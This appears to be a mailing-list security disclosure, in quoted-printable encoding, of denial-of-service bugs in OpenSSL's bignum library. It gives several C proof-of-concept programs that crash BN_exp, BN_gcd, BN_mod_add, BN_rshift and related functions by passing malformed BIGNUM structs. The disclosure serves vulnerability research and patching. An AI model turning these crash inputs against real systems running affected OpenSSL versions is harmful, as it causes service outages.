General info:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The bn (multiprecision integer arithmetics) part of the OpenSSL library is =
prone to null ptr deref, off-by-one and others resulting in DoS/crashes.
Versions tested were between 0.9.8k and 1.0.1e. We were too laz*cough* =
busy to prepare the fancy table, sorry guys.
Some PoC will work for one version but not for the other. Your milage may =
vary, so you'll have to test it by yourself.
bn_div_words.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d);
bn_div_words(h, l, d) divides the two word number (h,l) by d and =
returns the result.
=23 if defined(__i386) =7C=7C defined (__i386__)
*
* There were two reasons for implementing this template:
* - GNU C generates a call to a function (__udivdi3 to be exact)
* in reply to ((((BN_ULLONG)n0)<<BN_BITS2)=7Cn1)/d0 (I fail to
* understand why...);
* - divl doesn't only calculate quotient, but also leaves
* remainder in %edx which we can definitely use here:-)
*
* <appro=40fy.chalmers.se>
*
=23 define bn_div_words(n0,n1,d0) =5C
(=7B asm volatile ( =5C
=22divl %4=22 =5C
: =22=3Da=22(q), =22=3Dd=22(rem) =5C
: =22a=22(n1), =22d=22(n0), =22g=22(d0) =5C
: =22cc=22); =5C
q; =5C
=7D)
=23 define REMAINDER_IS_ALREADY_CALCULATED
=23 elif defined(__x86_64) && defined(SIXTY_FOUR_BIT_LONG)
*
* Same story here, but it's 128-bit by 64-bit division. Wow=21
* <appro=40fy.chalmers.se>
*
=23 define bn_div_words(n0,n1,d0) =5C
(=7B asm volatile ( =5C
=22divq %4=22 =5C
: =22=3Da=22(q), =22=3Dd=22(rem) =5C
: =22a=22(n1), =22d=22(n0), =22g=22(d0) =5C
: =22cc=22); =5C
q; =5C
=7D)
*/
=23include <stdio.h>
=23include <string.h>
=23include <openssl/bn.h>
=23include <openssl/rand.h>
int
main(int argc, char **argv)
=7B
BN_ULONG q,d0,n0,n1,rem=3D0;
n0 =3D 10UL; // if n0 >=3D d0 then Floating point exception
n1 =3D 100UL;
d0 =3D 10UL;
printf(=22%lu=5Cn=22, bn_div_words(n0, n1, d0));
return 0;
=7D
-- cut
BN_exp_dos.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);
BN_exp() raises a to the p-th power and places the result in r =
(=22r=3Da=5Ep=22). This function is faster than repeated applications of =
BN_mul().
*/
=23include <stdio.h>
=23include <string.h>
=23include <openssl/bn.h>
=23include <openssl/rand.h>
int
main(int argc, char **argv)
=7B
BN_CTX *c =3D BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x =3D BN_new();
y =3D BN_new();
z =3D BN_new();
x->d =3D (BN_ULONG *) malloc(1);
x->d=5B0=5D =3D 0;
x->top =3D 13645;
x->dmax =3D 13645;
x->neg =3D 0;
x->flags =3D 1;
y->d =3D (BN_ULONG *) malloc(1);
y->d=5B0=5D =3D 2;
y->top =3D 1;
y->dmax =3D 1;
y->neg =3D 1;
y->flags =3D 1;
z->d =3D (BN_ULONG *) malloc(1);
z->d=5B0=5D =3D 34427664;
z->top =3D 1;
z->dmax =3D 1;
z->neg =3D 0;
z->flags =3D 0;
printf(=22%d=5Cn=22, BN_exp(x, y, z, c));
return 0;
=7D
-- cut
BN_gcd_dos.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);
BN_gcd() computes the greatest common divisor of a and b and p
*/
=23include <stdio.h>
=23include <string.h>
=23include <openssl/bn.h>
=23include <openssl/rand.h>
int
main(int argc, char **argv)
=7B
BN_CTX *c =3D BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x =3D BN_new();
y =3D BN_new();
z =3D BN_new();
x->d =3D (BN_ULONG *) malloc(1);
x->d=5B0=5D =3D 1;
x->top =3D 0;
x->dmax =3D 2;
x->neg =3D 0;
x->flags =3D 1;
y->d =3D (BN_ULONG *) malloc(1);
y->d=5B0=5D =3D 1;
y->top =3D 1;
y->dmax =3D 1;
y->neg =3D 0;
y->flags =3D 0;
z->d =3D (BN_ULONG *) malloc(1);
z->d=5B0=5D =3D 0;
z->top =3D 1;
z->dmax =3D 2;
z->neg =3D 0;
z->flags =3D 0;
printf(=22PoC works for OpenSSL v1.0.1c but not for v0.9.8k=5Cn=22);
printf(=22%d=5Cn=22, BN_gcd(x, y, z, c));
return 0;
=7D
-- cut
BN_mod_add.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, =
BN_CTX *ctx);
BN_mod_add() adds a to b modulo m and places the non-negative result =
in r.
*/
=23include <stdio.h>
=23include <string.h>
=23include <openssl/bn.h>
=23include <openssl/rand.h>
int
main(int argc, char **argv)
=7B
BN_CTX *c =3D BN_CTX_new();
BIGNUM *x,*y,*z,*v;
x =3D BN_new();
y =3D BN_new();
z =3D BN_new();
v =3D BN_new();
x->d =3D (BN_ULONG *) malloc(1);
x->d=5B0=5D =3D 262144;
x->top =3D 1;
x->dmax =3D 2;
x->neg =3D 0;
x->flags =3D 1;
y->d =3D (BN_ULONG *) malloc(1);
y->d=5B0=5D =3D 262144;
y->top =3D 1;
y->dmax =3D 1;
y->neg =3D 0;
y->flags =3D 0;
z->d =3D (BN_ULONG *) malloc(1);
z->d=5B0=5D =3D 0;
z->top =3D 0;
z->dmax =3D 1;
z->neg =3D 0;
z->flags =3D 1;
v->d =3D (BN_ULONG *) malloc(1);
v->d=5B0=5D =3D 0;
v->top =3D 1;
v->dmax =3D 1;
v->neg =3D 0;
v->flags =3D 1;
// triggers bug in bn_div_words()
printf(=22%d=5Cn=22, BN_mod_add(x, y, z, v, c));
return 0;
=7D
-- cut
BN_rshift.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* int BN_rshift(BIGNUM *r, BIGNUM *a, int n);
BN_rshift() shifts a right by n bits and places the result in r =
(=22r=3Da/2=5En=22). BN_rshift1() shifts a right by one and places the =
result in r (=22r=3Da/2=22).
int BN_rshift(BIGNUM *r, const BIGNUM *a, int n)
=7B
int i,j,nw,lb,rb;
BN_ULONG *t,*f;
BN_ULONG l,tmp;
bn_check_top(r);
bn_check_top(a);
nw=3Dn/BN_BITS2; 0
rb=3Dn%BN_BITS2; 0
lb=3DBN_BITS2-rb; 64
if (nw >=3D a->top =7C=7C a->top =3D=3D 0)
=7B
BN_zero(r);
return(1);
=7D
i =3D (BN_num_bits(a)-n+(BN_BITS2-1))/BN_BITS2;
if (r =21=3D a)
=7B
r->neg=3Da->neg;
if (bn_wexpand(r,i) =3D=3D NULL) return(0);
=7D
else
=7B
if (n =3D=3D 0)
return 1; // or the copying loop will go berserk
=7D
f=3D &(a->d=5Bnw=5D);
t=3Dr->d;
j=3Da->top-nw;
r->top=3Di;
if (rb =3D=3D 0)
=7B
for (i=3Dj; i =21=3D 0; i--)
*(t++)=3D *(f++); <---- oops
=7D
else
=7B
l=3D *(f++);
for (i=3Dj-1; i =21=3D 0; i--)
=7B
tmp =3D(l>>rb)&BN_MASK2;
l=3D *(f++);
*(t++) =3D(tmp=7C(l<<lb))&BN_MASK2;
=7D
if ((l =3D (l>>rb)&BN_MASK2)) *(t) =3D l;
=7D
bn_check_top(r);
return(1);
=7D
*/
=23include <stdio.h>
=23include <string.h>
=23include <openssl/bn.h>
=23include <openssl/rand.h>
int
main(int argc, char **argv)
=7B
BN_CTX *c =3D BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x =3D BN_new();
y =3D BN_new();
z =3D BN_new();
x->d =3D NULL;
x->top =3D 0;
x->dmax =3D 0;
x->neg =3D 0;
x->flags =3D 0;
y->d =3D (BN_ULONG *) malloc(1);
y->d=5B0=5D =3D 0;
y->top =3D 1;
y->dmax =3D 1;
y->neg =3D 0;
y->flags =3D 1;
printf(=22%d=5Cn=22, BN_rshift(x, y, 0));
return 0;
=7D
-- cut
BN_bn2hex.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* char *BN_bn2hex(const BIGNUM *a);
BN_bn2hex() and BN_bn2dec() return printable strings containing the =
hexadecimal and decimal encoding of a respectively. For negative numbers, =
the string is prefaced with a leading '-'. The string must be freed later =
using
OPENSSL_free().
*/
=23include <stdio.h>
=23include <openssl/bn.h>
int
main(int argc, char **argv)
=7B
BIGNUM *z,*o;
BN_CTX *ctx =3D BN_CTX_new();
z =3D BN_new();
o =3D BN_new();
BN_zero(z);
BN_one(o);
BN_set_negative(o, 1);
BN_sqr(o, z, ctx);
printf(=22%s=5Cn=22, BN_bn2hex(o));
return 0;
=7D
-- cut
BN_add_word.c:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- cut
/* int BN_add_word(BIGNUM *a, BN_ULONG w);
BN_add_word() adds w to a (=22a+=3Dw=22).
*/
=23include <stdio.h>
=23include <openssl/bn.h>
int
main(int argc, char **argv)
=7B
BIGNUM *z,*o;
BN_CTX *ctx =3D BN_CTX_new();
z =3D BN_new();
o =3D BN_new();
BN_set_word(o, 2);
BN_add_word(o, 18446744073709551615LL);
return 0;
=7D
-- cut
Credits:
=3D=3D=3D=3D=3D=3D=3D=3D
AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, =
c8e74ebd8392fda4788179f9a02bb49337638e7b
____________________________________________________________
GET FREE SMILEYS FOR YOUR IM & EMAIL - Learn more at =
http://www.inbox.com/smileys
Works with AIM=C2=AE, MSN=C2=AE Messenger, Yahoo=21=C2=AE Messenger, =
ICQ=C2=AE, Google Talk=E2=84=A2 and most webmails